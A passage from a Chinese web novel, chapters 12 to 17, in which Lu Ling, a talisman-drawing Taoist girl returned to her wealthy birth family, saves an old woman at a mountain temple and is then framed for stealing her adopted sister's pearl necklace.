杨丽华脸色阴沉得可怕,她冷哼一声,没再说话。 显然是对鹿翎感到失望至极。 裴父都是没多大讲究,他眉头微微蹙着,不过一会,就舒展开。 鹿翎没理人。 裴泽宇瞅了一眼,撇撇嘴,嘟囔一句:“不是吧,家里这么多好的,偏偏吃些上不得台面的东西。” 这番话说得并不小声,裴家其他人听得清清楚楚。 杨丽华脸色一变,上前一步,看见鹿翎碗里的是什么,她忍不住骂道:“你这是什么意思,家里亏待你了吗?吃点这个上不得台面的东西。” 鹿翎抬眸看了杨丽华,又低头看自己碗里的东西。 上不得台面? 吃帝王蟹加澳龙鲍鱼拌面,也叫上不得上面? 她这汤还是佛跳墙呢。 鹿翎把这点面吃完,招来张婶:“张婶,可以过来洗碗了。” 张婶不情不愿地走过来,给鹿翎把碗拿走。 裴昊然:“自己的碗自己洗。” 鹿翎擦擦嘴,依旧没理他,起身就走。 裴昊然被鹿翎无视了太多次,就算是个智障也会气恼得很:“我在跟你说话,你到底听到没有!” “没听见,神经病。”鹿翎翻个白眼。 和这些人待着一起,简直是浪费空气。 裴父眼神示意杨丽华,杨丽华深吸口气,强压下心中的火气,很平心静气地跟鹿翎讲话:“阿翎,你弟弟说他今天遇见你后,他才进的医院,你告诉妈妈,当时发生什么事了。” 第12章:礼佛寺 “我怎么知道。”鹿翎对杨丽华突如其来的态度转变感到挺奇怪的,“关我什么事?” 杨丽华强压下心中翻涌起来的火气,“他是你弟弟,怎么就不关你的事了!” 鹿翎不愿和他们多说,语气也冷了下来:“说了不关我的事,就不关我的事,年纪轻轻,是不是耳朵有问题。” 说实话,这件事确实和自己没多大的关系。 她心底太善良了,就连让他晒太阳都是找个阴凉地方,想着也不会出事,就没打算给他算一卦。 只不过没想到的是,杨丽华竟然让司机从那里开车进别墅。 人算不如天算。 裴耀阳太过倒霉了。 说完,也不等他们说话,直接转身上楼。 杨丽华在背后,用手指指着鹿翎的背影,气得差点没顺过来。 晚上九点。 鹿翎在整理自己还有多少张符咒,随便把这些符咒整理一下。 有些常用的,装进兜里,不常用的,全部装进她随身带的小布包里,系在腰间。 还没装完,门口传来敲门声。 这让鹿翎倒是很惊讶。 向来不是会杨丽华和裴家其他人。 他们一向不喜欢自己,鹿翎是知道的。 那这次来找她的是谁? 鹿翎走到门边,打开房门,就看见裴父站在门口,他脸上挂着得体又虚伪的笑,“阿翎。” 鹿翎靠在门框边上,挑眉:“有事?如果是裴耀阳的事,我们无话可说,其他事,我们依旧无话可说。” 两句无话可说险些让裴父脸上的笑挂不住,他尴尬一笑:“看来我们还真是父女,连脑子里想说什么都清清楚楚。” 鹿翎心里默默翻个白眼,没说话,站直身体,正要伸手关门。 裴父见状,想都不想,直接用手挡住。 还好鹿翎反应快,不然以鹿翎的力气,裴父怕是要被夹断手指了。 鹿翎不耐烦开口:“有事快说行不行。” 她实在没脾气来应对看不惯她的,和她看不惯的,她脸上写满了不耐烦。 “你是真没有对你弟弟做什么?”裴父表情依旧很温和,但他的眼中却充满了冷意。 别看是在问鹿翎,但语气却是充满笃定。 “做什么?我还能做什么。”鹿翎双手抱臂,“你们不是在病房里讨论过了吗?都有答案了还来问我。” 裴父瞳孔一缩,他瞪大眼睛,不可置信地看向鹿翎。 “你...” “我什么我?”鹿翎烦躁地摆手,“没事别来烦我,有事也别来找我。” 说完,还不等裴父反应,她立马关了门。 懒得和他们裴家人计较说话。 “砰”的一声,将裴父思绪拉回。 他震惊又欣喜地看着鹿翎房间门。 像是透过房门,直达房内,清楚看见里面的人。 站在门口没多久,裴父才离开鹿翎的门前。 在裴父转身的那一刻,一道身影也跟着消失。 屋内。 鹿翎整理好所有东西,有些没有的符咒,她还需要找材料重新画,准备好,以备不时之需。 —— 第二天一早。 鹿翎醒来,在床上躺了将近两个小时,确保裴家其他人离开别墅后,鹿翎才出门。 她实在是不想看见裴家人。 她今天的事是要去购买黄符,朱砂这些东西。 当初她在青云观,这些都是师父未明子负责采购,她只管画就行了。 还有些东西,她也没全部拿过来,等八月底一到,她还要回去一趟,把道观里所有东西全部寄去京城。 她拿出手机,给未明子发消息。 【符纸在哪里买的?】 大概过了一分钟,黑掉的手机屏幕重新亮起。 是一段语言。 鹿翎将它转文字。 【在江州礼佛寺里,你报我名就行。】 紧接着就是礼佛寺的定位。 鹿翎打车去礼佛寺。 礼佛寺在南区郊外,坐落山顶,站在山底就能看见礼佛寺立在外面的巨大佛像。 鹿翎到的时候,人很多。 可以说是人山人海。 一溜商铺顺着山势铺开,奶茶店、香烛铺、文创小店、小吃摊挨挨挤挤,彩色招牌在日光下亮得晃眼。 人声、车声、食物香气混在一起,热闹得像个景区集市。 不少人手里拎着刚买的平安福、祈福牌,三三两两往山上走。 鹿翎付完钱,准备上山。 这还是她第一次到其他寺庙里。 石阶铺成的山路从山脚一直蜿蜒到顶,一眼望不到头,密密麻麻全是人。 每条小路旁都有一个指示牌。 上面写着不少殿宇。 看样子整座山都是礼佛寺的。 年轻男女结伴而行,举着手机一路拍照打卡,拖家带口来旅游的游人牵着孩童,扶着栏杆缓步向前,两鬓斑白的老人相互搀扶,虔诚地朝山顶迈进。 人流摩肩接踵,走走停停,原本清幽的山间小径,被这股热闹填得满满当当。 山顶的寺庙巍然矗立,是现代重修的仿古建筑,飞檐翘角舒展大气,朱红廊柱是灰白墙体,庄重又不失开阔。 山门大开,殿前宽敞的石板广场人头攒动,寺庙正门前有一个巨大香炉,里面香烟袅袅,全是烧断的烛根。 而在香炉正对面,就是在山脚下看见的佛像。 寺内殿宇相连,一眼望去仅是佛像。 正中央的大殿里,一尊硕大金身佛祖端坐莲台,面容悲慈,双目微阖,俯瞰殿内往来的众生。 两侧依序排列众多菩萨、罗汉造像,或立或坐,神态各异。 偏殿与回廊间也错落供奉着佛像,观音像净瓶垂露,大大小小,形态万千,遍布寺院各处。 鹿翎观察一番,走向主殿,她抬头想看主殿那座金身佛像,表情漠然,眼神冷淡得很。 周围人拿香,跪地虔诚拜佛,和站着的鹿翎形成鲜明对比。 站了大概一分钟,她才去拿香,点燃,跪拜在地。 附身作揖三下,香插入面前的香炉中。 刚插进去,身穿袈裟的小和尚从后门走了出来。 他对鹿翎问询:“请问是鹿施主吗?” 鹿翎理了理被跪皱的衣摆,点点头。 “施主,请跟我来。”小和尚弯弯腰。 鹿翎跟上小和尚,走向后面。 一路跟着小和尚走到主殿后。 山顶上全是殿宇,小和尚带走鹿翎行至后山腰处,那是他们和尚吃饭睡觉的地方。 还没走进,就听见敲木鱼的声音。 小和尚走到右边的一处禅房,敲了敲门:“师父,鹿施主来了,是未明子施主的徒弟。” 第13章:摔下山坡 敲木鱼的声音停住,传来空灵声:“让她进来吧。” 禅房门自动打开,映入眼帘的就是端坐在蒲团上,身披袈裟,正在敲木鱼的和尚背影。 小和尚侧身让鹿翎进去。 鹿翎踏进去的一瞬间,门自动关上,发出砰的一声。 坐在蒲团上的和尚站起来,给鹿翎倒了杯清茶,“请坐,施主。” 鹿翎没动,表情依旧淡漠:“我是来买黄符的。” 和尚没说话,转身去开抽屉,在里面拿出两沓黄纸,摆在桌子上,又对鹿翎合十。 鹿翎拿起黄纸,点了一下,从布包里拿出一叠大概二十几张的红票子放在桌面上。 小和尚盯着那沓红钞票有些惊讶。 鹿翎又从自己兜里掏出一把零钱,摆在桌子上,指着那沓零钱说道:“这是给寺庙的香火。” “这是我买黄纸的钱。”手指移动,指向红钞票。 小和尚摇摇头,把红钞票推回去,对鹿翎作揖:“鹿施主,我看你和我寺有缘,这钱我们不会收,以后你来拿黄纸,我们依旧不会收。” 鹿翎抬眸看他,也没多说什么,只是把钱收了回去。 既然不要,那她也不用给。 鹿翎拿上钱和黄纸,离开禅房。 外面淅淅沥沥,雨水砸在地上,形成大大小小的水洼。 和尚站在鹿翎身边,递给鹿翎一把绿色油纸伞,对鹿翎单手竖掌点头。 鹿翎合十,接过伞,撑开,走进雨雾中。 盯着鹿翎离开的背影,和尚叹口气,对着她的身影问询,说了句:“阿弥陀佛” 大家原本都是趁着天好上山祈福、游玩,一路上说说笑笑往上走,蜿蜒山路上也是密密麻麻的人。 但这场山雨来得又急又密,不大却绵密不绝,整座山被裹在灰蒙蒙的雨雾。 路面很快被打湿,石阶变得湿滑,水汽混着草木气息扑面而来。 雨丝斜斜飘着。 山路瞬间乱了起来。 本就拥挤得人流因为这场小雨更加滞涩,大家纷纷加快脚步,却又怕滑倒只能小心挪动。 绝大多数人都没带伞,只能慌忙用其他东西挡住头。 只有极少数人带了伞。 鹿翎的伞是和尚给的。 不少人顶着东西上山,和鹿翎相反。 雨水顺着台阶缝隙缓缓流淌,石阶表面覆上一层薄薄的水膜。 靠近山道侧栅栏的地方,一位拄着拐杖的老人家,脚下没踩稳,被湿滑的石阶一绊,身子猛地往后倾去,后背重重撞在栏杆上。 不知道怎么了,那栅栏看起来并不是年久失修,外表看起来崭新崭新的,但偏偏老人家撞上去后,栅栏突然断开。 老人家脸色瞬间变得惨白,嘴巴微张,惊得一时发不出声音,眼神中满是慌乱与无助。 这一幕发生太快,周围好几个人都下意识往前探身帮忙,可等他们探身时,栅栏就已经断裂,眼看就要往坡下摔去,惊呼声刚要从周围人嘴里冒出来。 一道身影突然窜了过去。 这不应该是人能够反应的速度。 鹿翎趴在地面上,单手死死拽住老人家的手腕。 老人家已经脸色被这突然情况吓得不知所措起来,显然惊魂未定。 周围人见状,也连忙聚拢过来,正要伸手相扶。 也恰恰在这时候,鹿翎脸色一变,瞳孔骤缩。 “轰”的一声。 鹿翎手撑住的那块石阶突然碎掉,鹿翎连同老人家一起滚下山坡。 周围人瞬间惊呼出声,尖叫声、慌乱的喊声在雨里炸开,原本拥挤向前的队伍猛然停住,所有人的目光都投向山坡下,脸上写满了惊恐和无措。 一半的慌忙探头往下看,人群也有人拿出手机拨打求助电话,还有人被这一幕吓得脸色发白,愣在原地动弹不得。 不少年轻人撑着伞,走到那处断裂口,下山准备救援。 更有心理承受能力不好的,在接受到一次两次的惊险冲击,直接晕了过去。 而滚下去的鹿翎和那位老人家。 在滚下的时候,鹿翎已经反应过来,从兜里掏出一张黄符,口中小声念道:“天地玄宗,万炁本根;三界内外;惟道独尊;体有金光,覆映全身。奉吾之令!护!” 念罢,黄符甩出。 符咒在空中消散,化成一道道金光,飞到两人身边,瞬间笼罩在鹿翎和老人家上。 护身符将她们带到一处宽广的地势。 土地湿滑。 等鹿翎站起来,拍拍自己身上的水,准备去看看老人家受伤没。 不过想着有护身符的存在。 老太太伤势不会太大。 刚一抬头,就对上老人家苍白的脸色,亮晶晶的眼睛。 鹿翎微微一愣。 心里只有一个想法。 完了... 老太太也顾不上鹿翎来扶她,自己连忙爬起来,眼睛亮闪闪地把鹿翎盯着,上前握住鹿翎的手:“小姑娘,你刚刚念的是咒语吧,我全都听见了。” 鹿翎一时间挣脱不开,只能尴尬地笑一笑,刚想说什么,就被老太太打断。 “我人是老了,但我不是傻子,你这些东西,我也接触过一些,你这门是叫符师吧。” 玄门有五术,分别是山、医、命、相、卜。 符便是【山】一门里其中一术,也是玄门中最神秘最难以精通的一门。 鹿翎虽然五术都有涉及,但她最擅长的还是符这一门。 见老太太对玄学有了解,鹿翎也不好说谎,她点点头。 老太太见此,眼前亮得吓人,絮絮叨叨拉着鹿翎说了好多话。 无非是她是怎么接触到这。 鹿翎本就不喜欢别人拉着自己听她不爱听的话,刚想开口说话,而正好的是,山上的人已经下来了,山间隐隐传来救护车的声音。 她连忙打断老太太的话:“有人下来救你了,那我先走了。” 走到半路,她突然想起什么,从兜里拿出一张符纸塞进了她的怀里,“这是张平安符,能报你一次平安。” 老太太一愣。 鹿翎见状,立马离开这里。 老人家身体并就没有年轻人好,再加上她还是从那么高的地方摔下来,虽然有鹿翎的护身符,但身上多多少少会有磕碰。 鹿翎不一样,她身体一向好,这点磕碰不算什么。 在鹿翎离开没多久,山下那些年轻人下来了。 紧接着就是十多位穿着黑衣的保镖,从旁边的山路朝这边赶来,把老夫人围成个圈,不让下来看的年轻人走进老太太半步。 “老夫人,是我们保护不周。”其中一位手上还拿着老夫人摔落在山路的拐杖。 第14章:一起去京大 老太太原本还算慈祥的表情在鹿翎走后变得冷漠起来,她接过拐杖,点了点头,不知道想到什么,气得很:“去查查那栅栏是怎么回事,看起来新得很,没想到我这七八十斤的老太婆,一撞上去就断了。” 保镖没说话,只是转身对前面的保镖做个手势,让他们上去。 这时,救护车也刚好到了。 老太太被一群人簇拥上了救护车。 这边。 鹿翎出了山路,走到大道上。 刚出来就和救护车擦肩而过。 鹿翎低头理衣服,当没看见。 买符纸的任务结束了,准备打车回裴家画符。 现在没下雨了,礼佛寺算是江州热门的打卡景点,刚打开打车软件,点击目的地,就有人接单。 接单的是位大叔,显然他来的时候看见了开走的救护车,好奇地问了嘴:“小姑娘,礼佛寺发生什么事了,我看见有救护车开走了。” 鹿翎抽张纸,擦了擦打湿的头顶,漫不经心开口道:“有位老太太摔下山坡了。” 大叔脸色一白,“没事吧?” 对那位出了意外事故的老人家也平添的几分担心。 鹿翎笑,支着下颌笑:“佛祖会保佑的。” 大叔似乎是才反应过来,他转头对上鹿翎没有丝毫感情的笑容,莫名的打了个哆嗦,“是是是,佛祖会保佑的。” 鹿翎收回视线,又笑了笑。 依旧是没有任何感情的。 半个小时后。 车辆准时到达别墅区。 鹿翎付钱下车。 刚打开车门,眼睛余光一瞟,就看见一辆逆天车牌在等着起落杆升降。 鹿翎原本是不在意的,毕竟在别墅区住的人都是有钱人,逆天车牌很正常。 鹿翎低头玩手机,和车走过。 不过让她没想到的事,那车上竟然坐着刚从医院出院的裴淼淼。 裴淼淼坐在副驾驶,低头还在看手机,下意识地抬头看窗外,没想到看见有些狼狈的鹿翎,她一愣,笑盈盈地开口:“姐姐,你这是去哪了?怎么这么狼狈。” 鹿翎闻言,瞥了她一眼,没说话。 裴淼淼脸上笑容一僵,很快调整表情,对顾景深开口道:“景深哥,我们把姐姐也带上回家吧,家离门口挺远的。” 而开车的人也听见裴淼淼说话。 是顾景深。 他皱眉看过去,像是看见什么脏东西一样,赶紧收回视线,语气冷冰冰道:“她也配。” 说完,他踩油门,立马驶离鹿翎身边。 鹿翎也不在乎,自己走路回去又不是不行。 裴家别墅门口。 裴淼淼下车,想让顾景深到家里喝口茶再走,没想到接到一通电话急匆匆就走。 裴淼淼也不好多说什么,张婶见裴淼淼回来后,脸上都要笑出褶子了。 看到只有裴淼淼一个人,张婶有些疑惑,“小姐,夫人和泽宇少爷呢?” 裴淼淼低头换鞋,笑笑:“我让妈妈和弟弟做他们自己的事了。” 其实差不多。 裴淼淼想和顾景深培养感情,自然不会让杨丽华和裴泽宇跟着。 在医院虽然说了几句,就把他们打发走了。 不仅能让杨丽华知道她很懂事,也能增加和顾景深的独处时间。 简直是一举两得。 鹿翎也紧跟其后,到了别墅。 原本脸上还洋溢起笑容的张婶,在看见鹿翎进门后,她脸上的笑立马垮了下来。 见此,裴淼淼笑了笑,没说话,转身进屋。 张婶默默翻个白眼,从鞋柜里拿出鹿翎的鞋子,丢在地上。 鹿翎今天实在是没有心情和家里佣人争辩,穿上鞋子后,准备上楼,她要先去洗澡。 洗完澡把符画完了,然后吃饭,洗漱睡觉。 再怎么样,也不能把吃饭这一项忘记。 鹿翎住的是客房。 从她来的第一天,裴父就说要给她装修个新房间,不知道是不是忘记,还是他故意的。 不过鹿翎也不在乎。 洗完澡后,鹿翎擦着半干的头发,从卫生间出来。 推开房门,鹿翎从床底拖出行李箱。 打开后,里面装着各种像是来雕刻什么东西的工具。 还有一个木盒。 她拉开另一边被拉链拉住的东西。 这里面装着的是朱砂、毛笔和各类古书法器。 她的衣服只占据一角。 两边泾渭分明,风格各异。 将桌案上的黄表纸和朱砂一一展开。 除了特殊符篆,一般符篆皆是用黄符纸撰写,画符是符术里属于最基础的。 除此之外,还有刻符。 在玉石上撰写符篆,就是刻符。 以及虚空画符。 还有在其他物品上画。 例如在树叶上。 后三者所倾注的心力也不可相互比拟的。 尤其是虚空画符。 鹿翎提笔凝气,蘸满朱砂,在黄符纸上腕底轻转,起承转折间,符文蜿蜒如龙,一笔一画皆有章法。 收尾时笔锋隐约能见一点灵光。 由此,一张平安符便算是成符。 和尚给她的符纸目测大概有三四十来张。 鹿翎不光要画平安符,她身上缺的各类符咒都要画一些。 但最多的就是护身符和平安符。 画符期间,鹿翎出去上了次厕所。 符画完只剩几张,时间也来到了晚上。 大门口传来汽车引擎声,想来是裴家其他人回来了。 鹿翎伸个懒腰,把这些东西放在一边,等会准备下楼吃饭。 裴父和杨丽华,以及裴昊然两兄弟一回来,裴淼淼就扑进他们怀里。 五人温馨场面在视线接触到楼梯口站着的鹿翎身上后,陡然僵住。 场面陷入尴尬中。 杨丽华脸上的笑容都淡了不少。 裴昊然和裴泽宇皆是皱眉。 裴父抿唇没说话。 这一尴尬局面,站在他们身边的裴淼淼一清二楚。 她勾唇,无声地笑了笑。 晚饭时,裴泽宇突然想起什么,他轻咳一声。 声音引起所有人注意力。 当然不包括鹿翎。 像是在宣布什么大事,裴泽宇还专门放下筷子,郑重其事开口道:“我录取通知书下来,是京大。” 话音刚落,裴家人都露出一脸欣喜的神情。 裴淼淼笑:“太好了,那我们都可以去京城了,就是不知道阶级在哪个学校,是不是京城的。” 她话锋一转,突然转向了在一旁安静吃饭的鹿翎身上,裴家所有人都是视线看向鹿翎。 裴淼淼开口问:“姐姐,你也考上京城的大学吗?如果考上了,我们三姐弟就可以一起去京城了。” 第15章:给鹿翎找学校 因为这句话,空旷的大厅陷入诡异的气氛中。 杨丽华低头,拿着筷子不急不缓的,自己吃自己的饭,脸色微僵,表情收敛,没有开口说话。 裴昊然则是皱眉,他先是看了眼裴淼淼,视线再转移到裴泽宇身上,最后是鹿翎。 只不过在她身上停留不到一秒钟,就收回视线。 裴父连头都没抬,吃着他碗里的饭。 裴泽宇也一样。 裴淼淼却像是现在才反应过来一般,她吐了吐舌头,“妈,我是不是说错什么了?” “没......”听到裴淼淼声音,杨丽华笑了笑,用公筷给她加筷子青菜。 鹿翎坐在自己的凳子上,翘着二郎腿,淡定如初,她略略抬头,慢悠悠的:“我考的是京大。” 大家原本以为这次鹿翎还是会想上次那般对待裴耀阳一样,对待裴淼淼,没想到这次态度竟然怎么平和。 这次一出,在场人再次陷入诡异的气氛中。 裴淼淼眼神带着嘲讽地看了眼鹿翎,夹起自己碗里的青菜,一边吃,一边笑,“姐姐,虽然我知道你想和我们一起去京城,但说谎可是不对的。” 街上小孩都知道京大是华国最顶尖的学府,想要考上京大,裸分起码要到六百九十几以上,才会被京大录取。 可裴家人都知道,鹿翎从小是在乡下长大。 教育师资资源怎么也比不过城里。 就算是在城里上学,考上京大的概率也不高。 她一个在乡下长大的土包子,怎么可能考上京大。 语气还怎么轻飘飘的。 她以为自己是谁呢? 裴昊然不屑地冷哼一声:“白日做梦。” 裴泽宇嘴角勾起一抹冷笑:“痴心妄想。” 杨丽华脸上并没有什么表情,看还是能看出脸色一点都不好:“痴人说梦。” 这三个人说话还算好听,至少是成语,如果换做裴耀阳在这,他嘴臭得不得了。 不是“乡巴佬,你也配”,就是“张口就来,一个乡巴佬现在变成撒谎精了。” 裴淼淼叹口气,故作叹息道:“姐姐,考上京城的大专也没关系的,就算没考上大学问题也不大,家里的钱就可以养你一辈子了。” 裴父看了眼鹿翎的表情,刚想开口说话,鹿翎放下筷子,扯出张纸,擦擦嘴,什么都没说,直接上楼。 裴父盯着她的背影:“你...” 最后的话最终没有说出口。 饭后。 裴父让裴昊然等会去他书房等一会,裴昊然虽然不解,但还是乖乖地等在书房里。 杨丽华和裴淼淼两人坐在客厅沙发上,一起看电视,说说笑笑的,看起来亲密无间。 裴泽宇吃完饭,就回到自己房间,不知道在干什么。 裴昊然在裴父书房坐着等待,大概过了三分钟,他才从外面进来。 听见声音,裴昊然立马站起来,“爸,你找我来有什么事。” 裴父对他摆摆手,示意他坐下来。 裴昊然等裴父坐下来后,他才坐在裴父旁边的单人沙发上。 裴父也没绕弯子,毕竟两人是父子,他直接说道:“你觉得给你妹妹物色个好点的学校怎么样?” “妹妹她不是已经考上京大的艺术学院了吗?”裴昊然皱眉。 怎么还要给她找学校? 裴父轻咳一声,提醒他:“我说的是你鹿翎妹妹。” 说起鹿翎,气氛僵住。 裴昊然没说话,只是静静地盯着茶几上的杯子。 裴父知道这是裴昊然独有的抗议,他也没说话,等裴昊然自己开口说。 好半晌,他抬起头,眼神充满不解和不屑:“爸,我真搞不懂把她接回来干什么。” 搞得家里乌烟瘴气,就连每天他们期待的属于一家人的独处时间的晚饭,也因为她的到来,气氛变得无比诡异。 裴昊然都要烦死他这个所谓的亲妹妹了。 还不如淼淼这个妹妹。 虽然不是亲生的,但她好歹在裴家呆了这么多年。 不是亲生胜似亲生。 他认为就算知道裴淼淼不是裴家的亲生孩子,也不应该把鹿翎接回来。 要是被外人知道,那他们裴家在江州豪门圈的声誉完都完了。 说不定股价都要跌上一跌。 作为裴昊然的父亲,裴父当然知道裴昊然心里是怎么想的。 他叹口气,摇摇头:“你还是太年轻了,只要遇到你妹妹的事,你的智力就完全不在线。” 裴昊然一愣。 裴父给裴昊然解释把鹿翎接回来的利害关系。 气氛沉寂一会儿后,裴昊然没说话。 裴父也不催他,等裴昊然自己沟通。 裴昊然抬起头,眼神和之前完全不一样了,“爸,我知道了,鹿翎的事就交给我了。” 裴父欣慰地点点头,他摆摆手,让裴昊然出去。 裴昊然站起来,走到门口时,他转身看了眼裴父。 裴父脸上依旧挂起得体的笑。 裴昊然转身开门出去。 走到楼梯口,刚好遇见准备上楼睡觉的杨丽华母女。 见裴昊然从爸爸书房出来,裴淼淼好奇地问了嘴:“哥,爸爸让你去书房干什么啊?” 裴昊然把来龙去脉全部讲给了母女两听。 裴淼淼脸上的笑容淡了些。 杨丽华蹙眉,到底也没说什么。 作为裴家的女儿,她是杨丽华的女儿,不能给裴家和她丢脸。 裴淼淼脸上重新洋溢起笑容,甜甜地对裴昊然说:“那哥你得给姐姐找个好大学啊,她毕竟在乡下长大。有些地方不懂,你也不要怪她,毕竟是我抢了原本属于她的生活。” 说到最后,她眼眶还象征性红了一下。 杨丽华看向裴淼淼的眼神心疼极了,她握住裴淼淼的手,拍了拍,表达安抚。 裴昊然似乎是又想起什么,他蹙眉,最终没说什么。 让裴淼淼和杨丽华早点回去休息。 —— 鹿翎房间。 她打了个喷嚏,揉揉鼻子继续画符。 吃完饭回到房间,躺在床上休息一会,准备把剩下的符纸画完。 画完后,想了想,从箱子里掏出一块成色极佳的原石,开始动手雕刻护身符。 光有纸质版的平安符、护身符不够,还得有玉石版的护身符。 玉石版的护身符可以保护佩戴者三次伤害。 不像纸质版的,用一次就没了。 玉石版要雕刻起码两到三小时,鹿翎打算把剩下的玉石全部雕刻完,打算今天晚上熬个通宵。 —— 第二天一早。 鹿翎终于雕刻完了,连早饭都没吃,直接躺床睡觉。 直到下午六七点她才醒来。 睡眼惺忪地爬起来,准备洗个澡吃饭。 裴家其他人看见邋里邋遢的鹿翎,纷纷皱眉。 裴淼淼刚想说话,就被杨丽华拉住:“淼淼,你不是要去和你的同学玩吗?还不快去收拾收拾吗?” 裴淼淼似乎这才想起来,她赶忙上楼。 紧接着,她大叫一声。 第16章:闯入房间 这声音顿时引起杨丽华和裴泽宇的注意。 母子俩蹬蹬上楼,看见裴淼淼眼眶通红地站在一边,脚边还有一滩水渍,和玻璃。 应该是拿东西的时候,不小心把杯子碰到了。 裴泽宇连忙招呼佣人进来打扫房间,杨丽华把裴淼淼拉到旁边,擦了擦她的脸,“怎么了。” 裴淼淼吸吸鼻子,摇摇头;“我就是想拿一件首饰,不小心把水杯打倒了。” 杨丽华安慰了裴淼淼几句,就走了。 走到一半,裴淼淼突然惊呼一声,口中还喃喃自语:“怎么找不到了,在哪啊?我不就放在这吗?” 杨丽华皱眉,转身走到她身边,“怎么了。” 裴淼淼摇摇头,“没事的妈妈,就是你送给我的珍珠项链不知道去哪了。” “上个月我给你新买的那条?” 裴淼淼点头。 杨丽华不是很在意:“丢了就丢了吧,我再给你新买一条就行了。” 裴淼淼咬咬牙,神情再度委屈起来,“可是...可是这是你给我买的,我不想弄丢。” 瞧见因为丢了一条她给买的珍珠项链的女儿,杨丽华心里泛起涟漪,连忙安慰:“那我们到处找找吧。” 裴淼淼笑了笑,点头。 杨丽华招呼裴泽宇还有别墅其他佣人一起给裴淼淼找珍珠项链。 找了一圈都没找到,裴淼淼视线似有似无地转向二楼最角落的房间,抿唇,想开口说些什么,想了想,还是闭上嘴。 裴泽宇看出她的纠结:“怎么了,是想到丢在哪了吗?” 杨丽华视线也看向裴淼淼。 裴淼淼欲言又止,最终还是说出口:“其他地方都找了,就连爸的书房和大哥的房间也找了,就差姐姐的房间没找,但是我记得我没去过姐姐的房间...” 说完,她自己都愣了一下,然后捂住嘴巴。 此话一出,在场所有人的脸色都变了。 在场人,除了裴家重要的人外,其他人都不知道鹿翎是从乡下回来的。 不过这样也够了。 只要杨丽华和裴泽宇知道就行。 他们都知道乡下人有怪癖。 那就是手脚不干净。 原来裴家找过一个女佣,也是从乡下来的。 刚来几天还好好的,不到一个星期,她就被赶出去。 原因就是手脚不干净。 现在连裴家的亲生女儿也染上这样的恶习,简直太不像话了。 裴淼淼看向站在一边脸色铁青的裴泽宇,小声说道:“哥,我是不是说错了?” 在接触到裴淼淼略带歉意的视线,裴泽宇收起脸色,对裴淼淼笑了笑,“没有。” 从头到尾,脸色最难看的只有杨丽华。 此时,裴父和裴昊然也回来了。 觉察到别墅气氛凝重,裴昊然问了一嘴。 裴泽宇把事情经过全讲给父子两听。 两人脸色皆是一变。 裴昊然二话不说就冲上楼去,猛然打开鹿翎的房间门。 第一眼看见的就是乱成鸡窝的卧室。 靠窗的桌子台面上什么东西都堆在上面。 杨丽华眼神示意,让佣人上去翻。 裴昊然看见桌子上的东西,脸色一阵青一阵白。 符纸,符纸,还有朱砂。 各种歪门邪道的东西。 裴淼淼看见后,吃惊地捂住嘴:“姐姐...姐姐桌子上怎么全是些这个东西...” 杨丽华的脸色是鹿翎自从回到裴家来,史上最黑的一次。 裴泽宇也是皱眉不说话。 裴家人只有裴父脸色稍微好一些。 大概过了一分钟,张婶从床底找到了项链。 这下,所有人的脸色都不好看了。 所有人都知道,裴家小姐鹿翎是个小偷! 裴昊然看着桌面上的符纸,气得随手抓起一把,开始撕。 这边。 鹿翎刚穿好衣服,她又打了个喷嚏,突然,她表情一变,迅速穿好衣服,走出浴室。 有人闯进她的房间了。 看见自己房间门大开,一进门就看见裴昊然手上抓着自己已经全部画好的符纸,又撕又丢,地上全是她符纸的尸体,神情癫狂,看起来像极了疯子。 鹿翎忍无可忍,直接一个小跑,抬起脚,一脚踢飞了裴昊然。 众人都没反应过来,裴昊然就被踢飞,背死撞向衣柜。 “轰”的一声! 所有人没想到会发生这样的事。 裴淼淼反应最快,见状,立马上前,扶起被踢飞起来,迷迷糊糊的裴昊然,转头冲鹿翎大喊:“鹿翎!你干什么?” 连姐都不叫了。 裴淼淼这番话,把他们的思绪拉回来。 杨丽华怒不可遏,冲上去,想要给鹿翎一巴掌。 但鹿翎反应速度很快,她偏过头去,反手一巴掌甩给了她。 “啪”的一声,十分清脆的声音响彻客房。 这情况显然让裴家人第二次愣住。 没人反应过来杨丽华竟然被打了。 裴淼淼立马丢开裴昊然,去扶住杨丽华。 杨丽华捂住脸,猛然转头,不可置信且怒不可遏地死死盯着鹿翎,“你...你敢打我!我是你妈!” “闭嘴。”鹿翎脸色微变,依旧面无表情,眼神中带着明晃晃的杀意和寒意。 杨丽华第一次被一个小辈吼。 刚想开口说什么,被鹿翎一个眼神看得缩了回去。 她扫视全场,冰冷的目光一个个看过去,语气漠然,带着烦躁:“谁开的门?” 视线所过之处,裴家人下意识地后退一步。 裴昊然站起来,捂着异常疼痛的腹部,面色苍白,面部扭曲,“我开的门,你想怎么样?” 听到是裴昊然开的门,鹿翎微微眯眼,有些不确定地看向他:“你开的?” 裴淼淼见状,上前护住裴昊然,眼眶红润,“姐姐!哥哥打开你的房间想看你的房间有没有我的项链而已,就算你把我的项链偷了,也没必要打妈妈和哥哥吧。” 闻言,鹿翎若有所思地点了点头,“你说你的项链丢了,然后来我这找,找到了,就说是我偷的?” 裴淼淼抿唇沉默不语。 杨丽华再开口,刚想说什么,又被鹿翎一个眼神看了回去。 她哽住,有些茫然,不知道自己好歹是一个豪门贵妇,是鹿翎的长辈,不明白自己竟然被自己的女儿吓得连话都说不出来。 不等杨丽华开口,鹿翎垂在身侧的手指忽然在虚空中画出一道真言符,而前掌风一扫,那道真言符顿时悄然打向裴淼淼。 第17章:简直是诈骗 “你的项链真是我偷的?”鹿翎视线直视裴淼淼,带上明晃晃的审视。 裴淼淼被她的视线看得全身不自在起来,下意识后退好几步,嗫嚅着嘴唇半天吐不出一个字,方才那副委屈模样瞬间垮了大半。 杨丽华立马护在她前面,脸上巴掌印清晰可见,她怒目而视,声音尖利得划破屋内的沉寂:“你这个不孝女!我要把你赶出裴家!竟然敢偷东西,偷东西就算了!还敢打我、踢你哥!还有没有一点规矩!” 鹿翎一个眼神都分给她,眼神依旧直勾勾看着裴淼淼,一字一顿,再次逼问:“你的项链真的是我偷的吗?” 那眼神带着不容置喙的压迫,像一张密网,把裴淼淼裹得喘不过气来。 受不了鹿翎的压迫,裴淼淼突然捂脸痛哭起来,声音哽咽,带着哭腔:“姐姐,你非要让我说是你偷的吗?明明就是你看我受宠,故意藏起来的...” 鹿翎没说话,眼神依旧定定看着她。 屋内气氛瞬间陷入诡异的凝滞,佣人们站在门口,窃窃私语的声音压得极低,却还是丝丝缕缕飘进众人的耳朵里。 全是对鹿翎偷东西不承认的指责。 